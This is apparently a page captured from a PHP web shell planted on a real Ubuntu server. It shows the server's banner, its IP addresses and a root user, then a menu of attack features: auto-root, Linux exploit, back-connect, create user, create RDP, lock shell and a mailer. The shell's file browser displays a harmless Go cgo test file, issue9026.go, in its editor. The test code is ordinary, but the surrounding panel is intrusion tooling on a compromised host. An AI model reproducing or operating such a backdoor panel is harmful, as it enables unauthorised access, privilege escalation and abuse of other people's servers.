Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
misc /
cgo /
test /
testdata /
issue9026 /
[ HOME SHELL ]
Name
Size
Permission
Action
issue9026.go
947
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : issue9026.go
package issue9026 // This file appears in its own package since the assertion tests the // per-package counter used to create fresh identifiers. /* typedef struct { int i; } git_merge_file_input; typedef struct { int j; } git_merge_file_options; void git_merge_file( git_merge_file_input *in, git_merge_file_options *opts) {} */ import "C" import ( "fmt" "testing" ) func Test(t *testing.T) { var in C.git_merge_file_input var opts *C.git_merge_file_options C.git_merge_file(&in, opts) // Test that the generated type names are deterministic. // (Previously this would fail about 10% of the time.) // // Brittle: the assertion may fail spuriously when the algorithm // changes, but should remain stable otherwise. got := fmt.Sprintf("%T %T", in, opts) want := "issue9026._Ctype_struct___0 *issue9026._Ctype_struct___1" if got != want { t.Errorf("Non-deterministic type names: got %s, want %s", got, want) } }
Close